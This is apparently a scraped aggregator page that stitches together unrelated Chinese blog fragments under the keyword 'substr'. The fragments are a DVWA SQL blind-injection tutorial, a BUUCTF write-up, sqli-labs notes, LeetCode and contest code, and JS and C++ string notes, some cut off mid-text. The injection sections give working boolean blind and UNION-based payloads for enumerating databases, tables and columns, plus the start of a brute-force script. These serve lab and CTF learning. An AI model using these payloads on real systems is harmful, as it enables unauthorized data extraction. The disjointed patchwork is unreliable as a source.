substr

dvwa模拟实验——sql盲注

柔情痞子 提交于 2020-02-09 01:11:32
sql盲注 1.sql盲注的基本内容 1.1 sql注入与盲注的区别 盲注:目标只会回复是或者不是,没有详细内容; 注入:可以查看到详细的内容 1.2 sql盲注的过程 判断是否存在注入,注入是字符型还是数字型 猜解当前数据库名–>猜数据库的长度–>猜数据库的名称 猜解数据库中的表名–>猜表的数量–>猜表的长度–>猜表的名称 猜解表中的字段名–>猜列的数量–>猜列的长度–>列的名称 1.3 sql盲注的类型 基于布尔值的盲注 基于时间的盲注 基于报错的盲注 2. DVWA模拟实验 了解一个关键函数: 2.1 low等级 1.分析源代码 从源码中可以看出并没有任何防御措施,存在sql注入漏洞,并且注入类型是字符型。 但是输出只有两句话,所以应该采用盲注的方法。 2.手动盲注过程 (1)猜测数据库名的长度 从1开始试,一直到页面返回正确。 (2)猜测数据库的名称 利用二分法,并对照ASCII码表可以得到数据库名四个字符分别是什么 1' and ascii(substr(database(),1,1))=100 # 1' and ascii(substr(database(),1,1))=118 # 1' and ascii(substr(database(),1,1))=119 # 1' and ascii(substr(database(),1,1))=97 # 得到数据库的名称

buuctf 极客大挑战 finalsql

断了今生、忘了曾经 提交于 2020-02-08 09:35:31
说来话长,这边记录下,页面不一样了,之前的注入全部行不通,考虑到最烦最难得盲注,利用二分法查找是非常快的 这边记下playload 查库名: id=1^(ascii(substr((select(database())),1,1))>1)^1 库名为geek 查表名: id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),1,1))>1)^1 表名为F1naI1y 查列名,还是得写脚本, 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),1,1))>1)^1 import requests import time url = "http://acd0b80d-cfac-4ed8-aab6-7c6f64ee9fa2.node3.buuoj.cn/search.php?id=" temp = {"id" : ""} column = "" for i in range(1,1000): time.sleep(0.06) low = 32

LeetCode in C++ 833. Find And Replace in String

寵の児 提交于 2020-02-08 04:56:46
To some string S, we will perform some replacement operations that replace groups of letters with new ones (not necessarily the same size). Each replacement operation has 3 parameters: a starting index i, a source word x and a target word y. The rule is that if x starts at position i in the original string S, then we will replace that occurrence of x with y. If not, we do nothing. For example, if we have S = "abcd" and we have some replacement operation i = 2, x = "cd", y = "ffff", then because "cd" starts at position 2 in the original string S, we will replace it with "ffff". Using another

算法复习:递归

爷,独闯天下 提交于 2020-02-07 21:51:10
leedcode 10. 正则表达式匹配 递归解法,时间复杂度比较高,后面要尝试改成动规 bool end_or_not(string p) { for(int i=0;i<p.size();i+=2) { if(((p[i]>='a'&&p[i]<='z')||p[i]=='.')&&p[i+1]=='*') continue; return false; } return true; } bool check(string s, string p) { int donser[27]; memset(donser,0,sizeof(donser)); for(int i=0;i<p.size();i++) { if(p[i]=='.'||p[i]=='*') continue; if(donser[p[i]-'a']==0) { donser[p[i]-'a']=1; int lable=0; if(p[i+1]=='*') continue; for(int j=0;j<s.size();j++) { if(s[j]==p[i]) { lable=1; break; } } if(lable==0) return false; } } return true; } class Solution { public: bool isMatch(string s, string p)

JS知识整理随笔(4) String

你说的曾经没有我的故事 提交于 2020-02-07 02:23:11
2017-10-2 总结更新 var saying='Home sweet home '; //字符串的长度 console.log(saying.length); //转大写 console.log(saying.toUpperCase()) //转小写 console.log(saying.toLowerCase()); //以索引编号为参数,返回这个位置的参数 console.log(saying.charAt(12)); //在字符串中查找一个或一组字符,返回首次出现的索引编号 console.log(saying.indexOf('ee')); //在字符串中查找一个或多个字符,返回最后一次出现的索引编号 console.log(saying.lastIndexOf('e')); //返回两个索引编号之间的字符, console.log(saying.substring(8,14)); //当指定一个字符时,它用查找的每个此字符将字符串分割,然后将他们存储在一个数组中 console.log(saying.split(' ')); //删除字符串开始和结尾处的空格 console.log(saying.trim()); //查找替换 console.log(saying.replace('me','w')); //截取字符串 console.log(saying

js字符串方法汇总

徘徊边缘 提交于 2020-02-06 13:27:20
1、length方法 var stringObject=new String("hellow world"); console.log(stringObject.length);//12 2、字符方法charAt()、charCodeAt() 指定索引查找字符 这两个方法都接收一个参数 charAt():返回给定位置的那个字符 charCodeAt():返回指定位置的字符编码 var stringValue="hellow world"; console.log(stringValue.charAt(1));//e console.log(stringValue.charCodeAt(1));//101 3、字符串操作方法concat()、slice()、substr()、substring() concat():用于将一个或多个字符串拼接起来,返回拼接得到的新字符串 var stringValue="hellow world"; var result=stringValue.concat("hello"); var result2="hellow world"+"hello"; console.log(stringValue);//hellow world console.log(result);//hellow worldhello console.log(result2);/

2020牛客寒假算法基础集训营

☆樱花仙子☆ 提交于 2020-02-05 23:46:10
A 题意: 给一个n*m的矩形方格,问能找到多少个①面积为1②有一条边平行x轴或y轴的三角形③每个顶点都在格点上。 我们可以直接推出以下图形 (忽略字体。。。太困了草草写完睡觉)由于感觉会相乘的时候爆掉,写了个快乘; #include<bits/stdc++.h> using namespace std; typedef long long ll; const int maxn=1e5+10; const int mod=1000000007; int n,m,T; string s; int a[maxn]; ll res1,res2,res3,res4; ll mymul(ll a,ll b,ll c) { ll ans=0; a%=c; while(b){ if(b&1) ans=(a+ans)%c; a=(a+a)%c; b>>=1; } return ans%c; } int main() { // cout<<mymul(58212,9702,mod); scanf("%d%d",&n,&m); // if(n<m) swap(n,m); if(n==2&&m==2) printf("0\n"); else { if(n>=2&&m>=3){ res1=mymul(m-2,m-2,mod); res1=mymul(res1,2*n-2,mod); } if(n>=3&

c++一些常用函数的积累

让人想犯罪 __ 提交于 2020-02-05 08:55:22
string // string::substr #include <iostream> #include <string> int main () { std::string str="We think in generalities, but we live in details."; // (quoting Alfred N. Whitehead) std::string str2 = str.substr (3,5); // "think" std::size_t pos = str.find("live"); // position of "live" in str std::string str3 = str.substr (pos); // get from "live" to the end std::cout << str2 << ' ' << str3 << '\n'; return 0; } //Output: //think live in details. #include <string> #include <iostream> #include<vector> #include<map> using namespace std; int main(){ string temp; vector<string> ans; map<string,

【算法题】CCF CSP第三题练习

烈酒焚心 提交于 2020-02-03 15:44:55
样例全部没问题,但是只有40分,不知道哪里出问题了: #include <iostream> #include <string> #include <map> #include <sstream> using namespace std; class Fomular { private: string s, sr, sp; map<string,int> reactant; map<string,int> product; map<string,int> rElement; map<string,int> pElement; bool isLowercase(char a) { if (a >= 'a' && a <= 'z') return true; return false; } bool isUppercase(char a) { if (a >= 'A' && a <= 'Z') return true; return false; } bool isDigit(char a) { if (a >= '0' && a <= '9') return true; return false; } void split(string s, decltype(product) &m) { int a{0}, b{0}, i, j, tt; string t; for (i = 0;

sqli-labs个人注入心得

一世执手 提交于 2020-02-03 06:08:46
闭合方式类型都有一般是’,",或 无闭合符号 或 '),") Less-1 尝试?id=1 注释符号为–+、-- 、#。 当尝试?id=1’)时 很明显是属于单引号闭合方式 用–+注释掉后面的 接下来就要判断一下列数?id=1’ order by 10–+,发现 多试验几次后 得到共有三列数据接着进行联合查询?id=X’(x不等于1,2,3) union select 1,2,3–+,这里将id等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来。 在2,3的位置可以插入我们想用的语句了,接下来要做的就是爆数据表 开始之前,已经知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。 { 数据库经常引用的词汇! information_schema.columns包含所有表的字段 table_schema 数据库名 table_name 表名 column_name 列名 information_schema.tables包含所有库的表名 table_schema 数据库名 table_name 表名 information_schema.schemata包含所有数据库的名 schema_name 数据库名 group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。}